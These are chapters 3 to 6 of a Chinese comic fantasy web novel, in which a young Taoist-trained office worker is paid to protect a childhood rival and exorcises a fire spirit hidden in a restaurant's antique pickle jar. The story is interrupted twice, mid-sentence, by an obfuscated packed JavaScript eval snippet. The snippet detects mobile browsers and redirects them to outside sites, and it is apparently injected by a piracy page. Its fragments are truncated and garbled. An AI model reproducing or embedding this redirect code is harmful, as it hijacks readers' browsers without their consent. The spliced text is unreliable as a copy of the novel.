《社畜天师》 3. 好朋友 师蓬蓬到了公司,把平河村的产品方案打印出来,带着去找老板谭薇。 公司小,除了销售部有两个主管,其他人大都是直接向谭薇汇报的。 猫爪直播的助农专题已经正式确定,过两天就能上线,师蓬蓬心里充满了期待—— 这可是她上班以来负责的最大的一个活动,更重要的是,她的底薪不高,收入关键还得看销售分成。 但没等她开口,谭薇就先咳了一声,面露难色道,“你来得正好,关于猫爪的事,我刚想找你谈谈……” 这事显然不太好启齿,谭薇东拉西扯,绕了一个大圈子,师蓬蓬才明白了她的意思。 原来是公司的销售主管刘裕广得知她弄到了猫爪的推荐位,便找了谭薇,要求把渠道让给他,用来上他的产品。 师蓬蓬当即表示反对:“不行,这不符合规定。” 福熹的销售一直走的线下渠道,网店不受重视,以前都没人愿意打理,不然也不可能交给刚毕业的师蓬蓬。 师蓬蓬倒是不介意,她初出校园,本来也没什么人脉资源,索性认真研究起网店平台的规则。 公司在这方面给的费用和支持都十分有限,这个机会,可以说完全是她靠着对政策的理解,以一己之力申请下来的。 这会好不容易有了点成果,刘裕广就想来摘桃子,她当然不能接受。况且刘裕广主推的都是些白酒、海鲜干货之类的高利润产品,跟她一开始向猫爪申报的品类根本不符。 奈何刘裕广极为霸道,公司最大的几个客户都在他手里,他一人的销售额就占到全公司的三成以上,谭薇也不敢随便下他的面子。 至于品类的问题,刘裕广已经趁着师蓬蓬去平河村出差的时候,私下联系了猫爪那边,不知用了什么方法,居然让负责这次活动的康经理同意了这个明显违规的操作。 胳膊拧不过大腿,谭薇纵然对刘裕广这种目中无人的作风有些不满,一时却也不好动他,只能捏着鼻子认了。再者,他的产品确实能够带来更高的收益。 师蓬蓬争辩无果,只能郁闷地回了座位。 手机屏幕亮起,微信显示有两条新信息,一条是温妙发来的,告诉她产品库存和快递合作都已经准备好,就等猫爪的活动了。 光从文字上看,师蓬蓬都能感受到温妙的兴奋,一时也不知怎么跟她说最新的情况,犹豫了好一会,还是决定先缓一缓,看看有没有什么补救措施。 另一条是房东发来的,提醒她交下个月的房租。师蓬蓬才想起月底了,赶紧把房租转过去,再一看账户余额,只剩下一千多,顿时更加心塞。 其实她家境不差,算得上小康,但是当年报考大学时她父亲强烈反对她选的专业,觉得跟不上时代没有前途。师蓬蓬为表决心,很硬气地表示以后就算穷困潦倒也绝对不会找他啃老。 问题是那时她就是嘴炮一下,因为他们学校一直有固定的就业去处,且待遇还挺不错。谁知人算不如天算,这么巧就让她赶上缩编了。 好不容易找了现在这份工作,眼看要有起色了,又遇上这种事……师蓬蓬一边在心里辱骂刘裕广,一边思考要不要找家里撒撒娇,先骗点生活费再说。不过找家里的话,肯定得先听一通教训。 正犹豫不决,电话突然响了起来,却是她爷爷打来的。师蓬蓬起身到外面接听,疑惑道:“老头,你不是去清修了吗?怎么还偷藏手机啊?” 师蓬蓬是跟她奶奶姓的,爷爷叫丁六水,是个性格开朗,人缘很好的小老头,退休后经常跟团到处旅游,前几天还跟一个老朋友一起报名参加了个清修养生班,说要在山里闭关两个月,这期间手机要上交,完全屏蔽外界的干扰。 “没偷藏,刚集合呢,等会才进山。”丁六水似乎有点急,没和平常一样跟她凑趣,话锋一转,说道,“蓬蓬,我刚和老颜碰上面,说到他家里最近有些事,让他担心得不行,我想着说不定你可以帮上忙……” 老颜就是这次邀请丁六水一起清修的人,名叫颜凤书,跟丁六水有多年的老交情,师蓬蓬也认识,不过她记得颜家是做古董生意的,好像还挺厉害,实在想不出有什么需要她帮忙的。 师蓬蓬好奇问:“老爷子怎么啦?” 丁六水道:“不是他,是他孙子颜京,就以前在我们家住过一段时间,天天跟你斗嘴的那个,你还记得吧?” “哦,他啊……”师蓬蓬脑海里立刻浮现出一张拽拽的面孔,别说,还挺难忘的。 那是她中考完的暑假,按照惯例,她到乡下找爷爷奶奶放风。刚好颜凤书带着他孙子颜京去找丁六水,也暂住在他们家。 颜京跟师蓬蓬年纪相差不大,但一副少爷脾气,跟从小散漫惯了的师蓬蓬完全合不来,两人天天斗气吵架不说,时不时还要互相捉弄,让双方长辈非常头痛。 师蓬蓬还记得,有次她跟颜京掐得太厉害,颜凤书大概气急了,不知怎么想的,居然指着他们说,再闹就给两人安排娃娃亲,让颜京长大了娶她当老婆,一辈子都在一起。 师蓬蓬当时就无语了,心想都什么年代了,还拿包办婚姻吓唬人呢。不过她不当回事,颜京却真的有点怵,许是颜家的家规比较严,又或是真的很怕被迫跟她结婚,总之之后消停了不少。 想到这,师蓬蓬还有点好笑,顺口道,“那孙子怎么了?” 丁六水:“……怎么还骂人呢?” 师蓬蓬无辜:“他是老爷子的孙子没错啊!” 丁六水:“……” 丁六水这会赶时间,也没空揪着这细枝末节,嘟囔两句就抓紧把前因后果说了。 原来颜京这阵子不知怎么回事,频频撞到阴物,虽说几次都逢凶化吉,家里人却不能放心,有心想让他去相熟的寺庙里躲一阵子,但他忙于工作,怎么都不肯听,也不准家里找大师跟着他。 “也不怪颜京这孩子,听说他现在在西洛一个挺大的公司上班,职务还挺高的,身边跟着个师父确实不合适,让同事怎么看他不是?这不你也是学这个的,刚好还跟他在一个城市……” 师蓬蓬一听,心里大概有了数。 颜京体质有点特殊,从小就比较容易碰见一些超自然的事,当年他跟颜凤书去乡下暂住也跟这个有关。不过后来他家里似乎找到了什么法子,解决了他的问题,还把他送出了国,反正之后他就没再去过乡下了。 没想到时隔多年,他又出现了这种情况。这次还麻烦一点,主要是他现在已经是一个有独立生活的成年人,不可能再像小时候一样事事听从家里安排,尤其他还很重视他的工作。 颜凤书为此着急上火,一时又没什么好办法,只能跟老朋友大倒苦水。丁六水一听,却是想到了自家孙女,说不定可以帮上这个忙。 一来师蓬蓬专业就是学这个的,成绩还挺好,二来她不是那种传统的“大师”形象,如果让她跟在颜京身边,肯定不会引起别人怀疑。 颜凤书知道师家的本事,一听之下顿时大喜,立刻就应了下来。 所以丁六水这通电话,便是跟师蓬蓬商量,让她帮忙保护一下颜京,也不用二十四小时跟在他身边,那样颜京也不会同意,只要工作空隙多去看看他,清除一下潜在的隐患即可。 师蓬蓬听得眉头直皱,心想她工作已经很累了,哪还有心情再去照顾那个大少爷,他又不是请不起高人,就是死要面子罢了,她才不惯着。 何况她跟那孙子关系又不好。 师蓬蓬就想拒绝:“爷爷,我不……” 电话那头刚好响起一点杂音,却是颜凤书把手机抢了过去,道:“蓬蓬啊,这事就麻烦你了,我这会在外头,也不知该怎么感谢你,要不给你发个红包吧?也不多,就几万块意思一下,你看行不行?……诶,你要说什么来着?” 红包!几万? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14616691|156158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !! 师蓬蓬舌头硬生生打了个转,正气凛然道:“颜爷爷,我不会眼睁睁看着颜京陷入危险而不顾的!” 感觉有些生硬,顿了一下,又充满感情地加了一句咏叹,“他可是我童年最要好的朋友啊!” 颜凤书:“……” 颜凤书迷茫:“我记得你们以前感情不太好吧?” “那是一开始。”师蓬蓬面不改色地睁眼说瞎话,“后来我们相处久了,感情就好了,你们还说要给我们订娃娃亲呢。” 颜凤书:“……” 他倒是记得当年是有过这么一个玩笑,但明明是因为…… “总之我会好好守护他,不让他受到一丁点伤害的。”师蓬蓬及时转移了话题,“你就放心吧!” 颜凤书果然被带偏,笑呵呵道:“那就好那就好,那你加一下我微信,我把小京的联系方式发给你,得快点,我们差不多该进山了。” 挂上电话,就看到了颜凤书的微信好友申请,师蓬蓬连忙通过:【颜爷爷好,微笑.jpg】 颜凤书非常实在,二话不说,先发了个转账过来,金额比她心里预期的还多了不少,一共有六万块。 师蓬蓬看着转账数字后面一串的零,不禁热泪盈眶。 不管颜京以前是不是她最好的朋友,这一刻起,他都是了! 六万块,足够全款拿下她的友情! …… 与此同时。 神情不耐的年轻男人身体微微后仰,懒洋洋地靠在椅背上。他一手撑在椅子扶手上托着下巴,另一手拖着鼠标,一边翻看电脑上的方案,一边听着蓝牙耳机里的人喋喋不休。 眼看那边半天都没有要停下的意思,他不得不出声打断,“妈,你不要再瞎忙活了,我真的没有时间去相亲……” 颜母却没有放弃的打算,“到底是没时间,还是不想啊?你都几岁了,这么多年女朋友也不见谈一个,你老实跟我说,你是不是有什么毛病?” 颜京不以为忤,“我有什么毛病,你还不清楚吗?” “呸呸呸,你别又拿这个说事啊,这又不影响你找对象。我跟你说,这个女孩子我是亲眼见过的,人品、相貌、家世都是一等一的好,而且是刚从国外回来的,跟你肯定有共同话题……” 颜京听得头痛,“再说我挂了啊。” 颜母一听也气了,使出杀手锏,“你再这样的话,我就让你爷爷跟你说了!” 颜京嘴角微抽,满不在乎道,“爷爷才没这么无聊呢。” “呵呵,那可不好说。”颜母也是急了,开始挖他黑历史,“别忘了,你高中那会,他还说要给你定个娃娃亲呢。” 颜京:“……” 他脑海里浮现出一个乱蓬蓬的鸡窝头,身上顿时一阵恶寒,靠,那小神婆给他留下的心里阴影怎么还没消呢! 颜京语气自若,“那都多久前的事了,再说根本不是那么一回事好吧。真挂了啊。” 按断通话,刚好微信显示一条验证信息,颜京顺手打开,看到一个金灿灿的头像。 spp:【hello~颜京,我是师蓬蓬,你爷爷让我来找你~】 颜京:? 颜京反复观看,确定自己没有眼花,竟然真的是那个小神婆! 他心中顿时警铃大作,赶紧拨了个电话给颜凤书,对面显示已关机,返回聊天页面,果然看到他爷爷给他留了信息,他赶紧点开,颜凤书的声音响起,听起来有点匆忙: “小京啊,你的事不能再拖了,既然父母的话你不听,那就由我来安排。你还记得老丁的孙女师蓬蓬吗?也合该你有这缘分,她现在也在西洛,我了解过了,她跟你现在的情况特别合适,我趁着进山前赶紧和她说好了,她回头就跟你联系啊。” 颜京:??? 不会吧不会吧!他爷爷不是真的又想给他包办婚姻吧!! 4.古法御膳金汤鱼 师蓬蓬和颜京约在市中心一个小有名气的中餐厅碰面。 两人已有七年多没见,彼此都有些变化。师蓬蓬从当年稚气未脱的中学生长成了明艳照人的少女,颜京也比从前成熟不少,他本是十分俊美的长相,几乎可以说是精致,只是眉眼锐利,凭生出几分距离感。 不过两人并没有感到陌生,很快在彼此的身上找到了昔日熟悉的感觉。 尤其是颜京,看着师蓬蓬那双狡黠的桃花眼,脑海中不自觉地回忆起某些不太愉快的画面。 其实他本想在微信上直接拒绝师蓬蓬的,别说他现在根本还没打算考虑感情的事,就是有,也不可能是跟这个小神婆,她多恐怖啊。也不知道他爷爷是怎么跟师蓬蓬说的,居然说动了她来联系他。 但后来想想,觉得还是应该先见上一面,毕竟他当年受过师家的恩惠,不好做得太不近人情。 颜京正琢磨着该怎么开口,就见师蓬蓬突然往前凑近了一点,小声说道:“晶晶,这里好贵啊,你应该会请客的吧?” 这家店是颜京选的,位于本市地标西洛大厦的顶楼,可以俯瞰到洛江江景,环境一流,价格也十分惊人。 师蓬蓬虽然刚收了个大红包,但考虑到这种收入不是时时有,还是得省着点花。 颜京额头一跳:“……不要这么叫我!” 这是两人以前掐架的时候,师蓬蓬给他起的黑称,这么多年过去,她居然还没忘,张口就戳他心窝子! “哦哦,不好意思,习惯了。”师蓬蓬从善如流,丝滑改口,一脸尊敬地抱了下拳,“京哥。” 颜京:“……” 不知道是不是错觉,总觉得更嘲讽了。 颜京让她气笑了,一时也没心思说相亲的事,先叫来服务人员,“别担心,我请,你随便点吧。” 师蓬蓬心里一松,笑容顿时真挚了几分,还竖起个大拇指:“你就是我唯一的哥!” 颜京嗤之以鼻。 颜京是这家店的熟客,店长亲自过来招待,点了几道招牌菜后,又热情地推荐:“对了,本店最近新推出了一道古法御膳金汤鱼,采用上等的洛江野生鲈鱼制作。最难得的是这个金汤汤底,我们老板专门从京城的酱菜世家金记收了一个从清朝传下来的老坛子,腌出的酸菜风味独特,跟市面上的那些完全不一样……” 师蓬蓬恍然大悟:“酸菜鱼啊。” 店长面不改色,微笑接话:“是古法与创意碰撞而出的御膳酸菜鱼。” 师蓬蓬了然:“懂了。” 就是比较贵的酸菜鱼。 店长:“……” 颜京对这种花里胡哨的介绍不太感冒,但见她感兴趣,便点了点头:“那就来一例吧。” 等店长走开,颜京才重新看向师蓬蓬,轻咳一声,说道:“现在说正题吧,我爷爷说的那个事,我觉得不太合适……” 他没说得太直白,主要是从来就没想过有天会跟她相亲,这种感觉实在太怪了,总觉得难以启齿。 好在,这小神婆跟他一向也不对付,应该很容易达成一致。 师蓬蓬哪里知道他完全理解错了颜凤书的意思,闻言只道他还是不爽家里的安排,对此她早有心理准备,呵呵笑道:“我知道你的想法,但你也不要太早下定论嘛,我觉得我还是很不错的,你要不要试试再说?” 严京:“?” 颜京一口茶好险没喷出来,诧异地看她,“所以你也赞同我爷爷的安排?” “对啊。”师蓬蓬眨眨眼,理所当然道,“不然我找你干嘛?” 颜京:“……?” 颜京面露茫然,对啊,她找他干嘛?难道不是跟他一样,因为不好驳长辈的面子,所以随便来应付一下吗? 再看她一脸淡定,分明没有半分勉强的样子。颜京眉头渐渐蹙起,终于还是忍不住问道:“你为什么会同意?” 说起这事,师蓬蓬还有点不好意思,羞涩地对了对手指:“啊这,因为你爷爷给的条件还挺好的啦……” 她说的“条件”自然是指那个红包,但落在颜京耳朵里,却又是另一个意思。 靠,竟然是因为他条件好! 颜京一头黑线,一时竟不知该夸她坦诚,还是吐槽她太过于坦诚,憋了好一会,终究没憋住,悻悻道:“……你变了。” 虽然以前就知道她没节操,但好歹还有个性,哪像现在,事关感情,居然也这么随意。 不过话出了口,他又有点后悔,到底是个女孩子,不好说得太重了。 没想到师蓬蓬居然十分认同,长长地叹了口气,点头道:“是啊,贫穷使人面目全非,你都不知道我现在多可怜,一个月才四千多底薪,还要扣社保……” 颜京:“……” 说到后面,她还眼巴巴地看了过来,“所以啊,看在我们相识一场的份上,你就给我一次机会嘛。” 颜京:“…………” 颜京都呆住了,不是,就算是情有可原吧,但这话是不是太直白,也太不矜持了啊? 由于太惊讶,他一时竟不知道该怎么反驳她,只磕磕绊绊道,“你、你怎么这样啊……” “没办法,生活将我反复捶打,我的肉质已筋道Q弹。”师蓬蓬摊手。 颜京:“……” 颜京闭了闭眼,深深地吸了口气。 他本是要坚定地拒绝这桩婚事的,但见她这么能屈能伸,心里竟有些微妙的不忍心。 唉,她怎么就成这样了呢…… 还没想出头绪来,服务员已开始上菜,师蓬蓬饿了半天,也不管颜京怎么想的,赶紧先吃了起来。 颜京见状,也就暂且打住了话头,琢磨着等吃完了饭,再好好和她说道说道,便也拿起了筷子。但只吃了几口,眉头就皱了起来,不满道,“火候怎么比以前差了这么多?” “是吗?”师蓬蓬还是第一次到高级餐厅,吃不出什么对比,筷子抡得飞快,“我觉得还不错啊!” 颜京嘴角微抽:“算了。” 恰在这时,旁边突然传来“砰”的一声响,却是有人拍了桌子,接着是一个男人的骂声。本来这家餐厅的私密性很好,桌子间间隔都很宽,还有隔断,正常是听不到别桌的声音的,但那桌的客人大概是气极了,嗓门极高,声音一下传遍了整个大厅。 只听他气急败坏地骂,“你们怎么回事,连着几天了,菜就没一次做好的,前两天还说是意外,今天这道汤都快冷了也敢端上来?厨师要实在不想干的话,就赶紧换了……” 店长在旁边点头哈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14624758|156158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腰,一头汗地道歉,“您消消气,可能是今儿太忙了,传菜的慢了一点,我这就让厨房给您重新做一遍……” “忙?”那人冷笑,“现在才几个客人,就忙得汤都给放冷了?” 这店是预约制的,位置本就不多,虽说正在用餐高峰期,但现场还没坐满,确实算不得繁忙。 店长好说歹说,最后免了饭钱,好不容易才把那桌客人劝住了。但影响已经造成,其他客人也开始窃窃私语,隐约能听见,都是在说餐品不如从前的。 颜京给了师蓬蓬一个眼神:你看吧。 师蓬蓬筷子速度丝毫没有减慢,点头附和:“知道了,我山猪吃不了细糠。” 颜京:“……” 他不是这个意思! 说话间,又一道菜端了上来,正是店长方才大力推荐的那道古法酸菜鱼。 酸菜鱼用一个青花瓷的大碗装着,放到桌子上时,热油还在“滋滋”作响,热油淋在花椒上爆出的香气与汤底的鲜酸香辣混在一起扑面而至,瞬间抢占了所有的味觉,师蓬蓬反射性地咽了一口口水。 店长刚刚经历完投诉风波,越发小心地观察着店内客人的反应。见这边有热菜上桌,赶紧亲自过来,给他们分别装了小碗,“来,两位小心烫。” 师蓬蓬接过瓷碗,舀起吹了吹,一吃进口,顿时连连称赞:“好吃好吃,果然跟外面的不一样哈……” 店长这才松了口气,得意道:“那是自然……” 话到一半,就见颜京脸色微沉:“怎么又是冷的?” “……啊?不可能吧,我看看。”店长本来已经饱受惊吓,这一听顿时急了,连忙伸手去探颜京的那个碗,一碰之下,却是愣了,“怎、怎么会这样,这真的是刚离火的,油也是现浇的啊……” 师蓬蓬见状,以为是颜京又在挑剔火候,心道家猪吃得就是精细,这酸菜鱼虽然不像别的店那么滚烫,但味道是很不错的,不至于到生气的地步。 她见店长一副快哭了的样子,不禁有些同情,便伸手去接那个碗,“算了,这个给我,你们再给他重新做……” 指尖触到瓷碗边缘,却是一讶。 这个瓷碗,竟当真是冷的。不是火候问题导致的食物温度不够,而是完完全全的冷碗,再看里面的酸菜金汤,上面已经结了一层薄薄的油脂,一点热气都没有了。 师蓬蓬眉头皱起,将整个碗端了过去,“我看看。” 店长连连鞠躬:“真是抱歉,我立刻让师傅重做……” 话音未落,忽听“咔嚓”一声响,店长抬头,就见被师蓬蓬拿在手上的瓷碗已经整个裂开,看姿势,似乎是被她徒手捏爆的?! 店长:??! 碎瓷片和酸汤鱼一起掉落在桌子上,发出“叮叮当当”一阵响,引得临近几桌纷纷侧目。 有人惊呼:“卧槽,这菜是多难吃!气得把碗都砸了……” 也有人道,“这美女脾气挺大哈……” 颜京也震惊地看着她,他本来是有点生气没错,但一看她发飙(?),一些久远的可怕回忆瞬间被唤醒,赶紧站起来,安抚道,“你别冲动啊,这里可是法制社会……” 师蓬蓬:“……” 不是,在他心里,她到底是个什么形象啊! 5.阴火 那碗并不是被捏碎的,师蓬蓬在触到碗的时候,察觉到一丝异乎寻常的气息,便下意识掐了一道咒,结果那碗就裂开了。 她心底隐隐有些猜想,但众目睽睽之下,不便明说,只默默看了颜京一眼,含糊道:“这家店里有不干净的东西。” “女士,这可不能乱说啊。”店长脸都绿了,连忙为自家店里的卫生辩解。 颜京却是一下反应了过来,他常年受阴物困扰,在这方面十分敏锐,再看大碗里装着的酸菜鱼汤分明还冒着热气,也就是到他手上才骤然变冷的。 这显然不符合热传递的基本原理。 他心中一紧,脸上却不动声色,淡然道:“既然这样,我们换个地方吃吧。” “不。”师蓬蓬摇头,“我想见一下他们老板。” 颜京眉头蹙起,本能地要拒绝,还没开口,就听师蓬蓬补充道,“你要是害怕的话可以先走,我改天再联系你。” 颜京:!!! “呵,”颜京顿时不服了,“看不起谁呢,我会害怕?!” 师蓬蓬:“……” 这孙子真是一点没变,还是那么要强。 为了证明自己的确已经是一条铁骨铮铮的硬汉,颜京不但坚持留下,还身先士卒,主动承担起了和餐厅沟通的工作。 他是餐厅的vip,说话份量比师蓬蓬重多了,很快老板亲自把他们迎到了会客室里。 老板叫谢坤则,是个清瘦儒雅的中年人,手上戴着一串菩提子。他先从店长那里得了消息,还以为他们是为菜品的问题来兴师问罪,一见面赶紧想要道歉,却被那少女抬手打断。 师蓬蓬开门见山:“你好,我怀疑你们餐厅里闹了邪祟,想在这里做个法。” 谢坤则:“……??!” 谢坤则脸上一绿,反射性就要反驳,但颜京立刻摆了摆手,示意他稍安勿躁,师蓬蓬又仔细向他说了方才的发现和自己的推断。 她专业既强,说起来自是有理有据。谢坤则一边听一边暗暗吃惊,他其实也早就觉得餐厅不对劲。近一段时候,餐厅的菜品频频出现问题,为此他找厨房诘问过好几回,但厨房近期既无人员更替,从设备到流程里里外外检查了好几回,也都没有找出任何错漏的地方。 可无论如何,做出来的菜火候始终就是比从前差了一些。眼看着客人不断流失,餐厅上下都着急上火。 谢坤则常年在生意场上打滚,自身就笃信风水玄学之说,此时听师蓬蓬一说,便有种果然如此的感觉。只是具体是什么邪祟,师蓬蓬一时也说不准,需要开坛做法方可知晓。 谢坤则有些犹豫,这女孩子实在年轻,形象更是过分时尚,纵然有些见识,却实在不像能处理邪祟的样子。不过他是个人精,有心卖颜京一个面子,稍一思索,还是同意了下来。 索性先应付了他们,回头再联系大师过来重新看一下。 …… 晚市一结束,谢坤则随便找了个借口,把餐厅的工作人员遣走。又按照师蓬蓬的要求,准备了瓜果香烛等祭品。 师蓬蓬在大堂清了块空地出来,摆了个简单的祭坛。 颜京没想到她居然是来真的,心里有点后悔刚才没有果断走掉,但这时候再走更没面子,只能双手抱胸,一脸冷酷地和谢坤则一起站在旁边观看。 师蓬蓬算了下时间,看差不多了,便从随身背的帆布包里拿出一组黄符,在坛前开始掐诀念咒。 谢坤则见她科仪熟练,闲庭信步,还真有几分专业的样子,心下不禁多了几分期待。只是她仍穿着那身长裙短靴,连件道袍都没有,又实在让人很难信服…… 这时,大堂中一阵阴风吹来,祭坛桌角的一支蜡烛倒下落地。地面铺着一层地毯,蜡烛刚触到地毯,立刻窜起一道绿幽幽的火光,并迅速向四周蔓延。 “啊——”谢坤则顿时跳脚,“不好,着火了!” 颜京眉头一皱,眼疾手快地冲到角落里找出一个灭火器,还没来得及打开,就见师蓬蓬手往前一扬,将一张黄符抛向燃烧的火光,撩起的火舌瞬间将符纸吞没。 谢坤则大急:“唉,你怎么还往里扔——” 话音未落,黄符上的朱砂泛起淡淡红光,那熊熊火光顿时矮了下去。随着符纸化作灰烬,那绿火也彻底熄灭,大堂里灯光随着一暗,只剩下祭坛上仅剩的蜡烛还亮着。 谢坤则嘴巴猛地一闭,把未竟的话全咽了回去。颜京也停下了动作,准确来说,是僵住了。两人后知后觉地意识到,这根本不是什么意外。 落地窗外一片浓黑,微弱的烛火不停晃动,莫名的寒意向他们侵袭而来。 忽然,黑暗的深处响起沉闷的声响。 “咚——咚——咚——” 声音由远及近,仿佛千斤重锤砸到地上,地面竟随着轻轻颤动,颜京和谢坤则的心头顿时突突直跳。 谢坤则后槽牙疯狂打颤,实在没忍住,抖着声音问,“师、师小姐,这到底是什、什么……” 没等他把话说完,前方的火光里突然一闪,一团巨大的浓黑蓦地从天而降。明明只是一道虚影,却如有实质般将他重重压住,令他动弹不得。 谢坤则的话语戛然而止,惊恐地瞪大了眼睛。 与此同时,一道黄符陡然升空。 “两仪之精,阳火在心,照摄阴魅,遁匿人形……敕!”少女清凌凌的声音落下,半空中的黄符无火自燃。 那黑色虚影瞬间碎去,隐隐间仿佛有一声缥缈如幻觉般的惨叫。谢坤则顿觉身上一轻,压着他的千斤重量已如潮水般褪去,一起褪走的,还有满室的黑暗。 灯光重新亮了起来,照亮屋里的景象。 谢坤则喘了一口大气,抬头看去,但见祭坛前的少女垂手而立,裙摆还在轻轻飘动,不是道袍,胜似道袍。 谢坤则不禁为自己刚刚的以貌取人感到羞愧,这才是真正的高人啊。 大道至简,不过如此。 颜京手上还提着灭火器,被阳光一照,僵硬的身体才慢慢放松下来,他定了定神,若无其事地问,“喂,神、咳……蓬蓬,是不是搞定了?” 师蓬蓬摇头:“还没。” 颜京:?! 不及细问,耳边陡然响起一道破空声,一个比足球略大的绿色火球不知从哪冒出,凌空朝他袭来。 谢坤则骇然:“小心!” 颜京瞳孔一缩,幸好多年的经验已经形成条件反射,身体本能地往旁边一闪,灵活地避开一击。 不料那火球一击不着,身上的火焰竟是猛然一涨,探出一道长长的火舌,朝着颜京舔去。 颜京背后贴着墙面,想再避开却是不能,好在手上还有个灭火器,当即举到身前用力按下,干粉喷出,那火焰却是一点不减。 眼看那绿幽幽的火舌即将舔上他的下巴,颜京再顾不得维持形象,爆出一声粗口:“靠!!” 电光火石之间,师蓬蓬如闪现般突然出现在面前,双手握着一把椅子的两脚,像是挥球拍一般用力一抡,椅背朝着那火球重重拍下。 “咚——”一声闷响,火球和颜京的心一起落地。 师蓬蓬随即抬起一只脚,隔着椅背将火球紧紧踩住,“大胆邪祟,胆敢放肆!” 颜京:? 谢坤则:? 等等,这驱邪的手法是不是稍显物理了一点?以及,她力气看起来好大啊…… 师蓬蓬没注意两人呆滞的眼神,一伸手,从颜京手里抢过灭火器。颜京一怔,道,“这个对它没用……” “那是你用的姿势不对。”师蓬蓬嘻嘻一笑,右手一翻,食中双指间多了道黄符。她把黄符贴到灭火器的瓶身上,掐了道诀,这才踢开椅子,退后两步按下开关。 瓶身上的黄符朱砂微亮,干粉如暴雪喷洒,瞬间将那火球重重包裹。 绿火熄灭,那球状物生出惧意,带着一身的干粉,骨碌碌地朝往门口的方向滚去。 但师蓬蓬动作更快,一跃上前,短靴再次将那东西踩住,同时 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餐厅将这坛子作为宣传重点之一,但谢坤则其实并没有真当一回事,觉得充其量就是个有年头的老物件。他花那么多钱,主要还是为了让金记背书,权当广告费罢了。 却万万没想到,这坛子竟会是个邪祟!谢坤则茫然,“这到底是怎么一回事?” “哦,金记挺实诚的,这还真是个古董。”师蓬蓬道,“物老成精听说过吗?” 所谓物老成精,是指器物放置时间长久,积聚灵气有了意识,从而得道成精。 谢坤则面露恍然,“坛子精啊!” “不,”师蓬蓬摇摇头,纠正道,“这应该是一个火精。” 清朝到现在不过几百年,对生物来说不短,对坛子这样的死物来说,却又不够长,远不足以让它们成精,否则博物馆早就被古董精怪攻占了。 这坛子能够得道,却是因为体内有一道火灵的缘故。 火为五行精气之一,天生便有道缘。古人就认为火灾是火焰为怪而引发的,甚至于《博物志》中还有记载,“火之怪为宋无忌”,不过这宋无忌其实是秦汉年间的一个修士,却不知是怎么被传成火精的。 此外,一些贮火的器具也可能成精作怪。如眼前这个腌菜坛子,其道行便得自于火行。因陶瓷淬生于烈火,天生便以火为法。 想来这坛子是烧制时就得了火灵,后面历经数百年,慢慢成了气候。它原来在金记那腌菜看不出端倪,只需等有了道体便可离开。偏生前些日子,机缘巧合被谢坤则买了过来,放在了餐厅里。 火精吞火修炼,这餐厅里的火,自然是来自于厨房。因而自坛子到来以后,厨房的火候便频繁出现问题,刚出锅的菜品转眼就冷掉,也都是火气被坛子所吞之故。 不过这火精尚未化形,道行不深,吞火量也不算太大,通常情况下还真不容易发现。但颜京体质特殊,火精刚才以他为媒,却是将那碗金汤鱼的火气瞬间吸收殆尽,这才引起了师蓬蓬的警觉。 “原来是这样。”谢坤则恍然大悟之余,却也有些哭笑不得。一方面欣慰金记不愧是百年老字号,童叟无欺,一方面又犯起了难,这坛子倒是真有来历,他却无论如何都不敢留了。 “这简单。”师蓬蓬说道,“你可以捐给国家博物馆,那都是老物件,他们有经验。或者交给我,我送到我们老师那边处置。” 谢坤则想起师蓬蓬刚才驱邪的飒爽英姿,不禁对她的师承心生好奇,一脸尊敬地问,“说起来,还不知师小姐是哪个道派的?” 师蓬蓬:“哦,我毕业于两仪学院。” 谢坤则面露茫然,颜京在旁边嗤笑一声:“就是一个神棍学院。” “胡说。”师蓬蓬大怒,很有校友荣辱感地科普,“我们是国家认证的综合性重点大学,学信网上能查到学历的,知网还有我的毕业论文,比翟X临都正经。” 谢坤则:“……” 颜京:“……” 6.纯粹的雇佣关系 谢坤则哪里敢让那个火精在手上多留一天,果断决定让师蓬蓬帮忙处理。 师蓬蓬倒是无所谓,让他找了个结实的袋子把坛子装好,顺手就拎走了,态度之随意,仿佛刚逛完菜市场。 谢坤则顿时被她的英姿所折服,不仅加了她微信,还坚持转了六千块作为感谢费。 师蓬蓬没想到吃顿饭还能赚笔外快,喜滋滋地收下了。等从餐厅处出来,看颜京的眼神越发热切。 这小子虽然有个倒霉体质,人倒是很招财,果然是条值得一抱的大腿! 颜京被她看得浑身不自在,没好气道:“一直看我干什么?” 师蓬蓬露出一个热情又不失真挚的笑容,积极卖安利:“京哥,怎么样,我刚才表现得很不错吧,你有没有一点心动的感觉?” 她说的心动,自然是指对她的驱邪技术心动,但此时颜京已经完全误会了她的意图。 颜京额头突突直跳:“你现在说话这么直接的吗?” “会吗?”师蓬蓬不以为然,“实话实说而已。” 颜京:“……” 她还真是半点不害臊! 不过,她的话倒是点醒了他一件事。原先他一直想不通,他爷爷一向开明,除了那次他跟师蓬蓬掐架太厉害,气急之下给他们乱点了一次鸳鸯谱外,从来就没有干涉过他的终身大事。为什么这次会突然安排他和师蓬蓬相亲? 直到此时,他总算是明白了爷爷的良苦用心,说到底,还是为了他的安危。 但越是这样,他越不会妥协。颜京贞烈地想,且不说他一向反感这种基于利益考虑的婚姻,就说这小神婆多恐怖啊,他就是天天被鬼追着,被阴物缠着,也绝不可能跟她结婚! 并且他相信,以小神婆的暴脾气,如果知道了这桩婚事背后令人心寒的真相,一定也不会答应的。 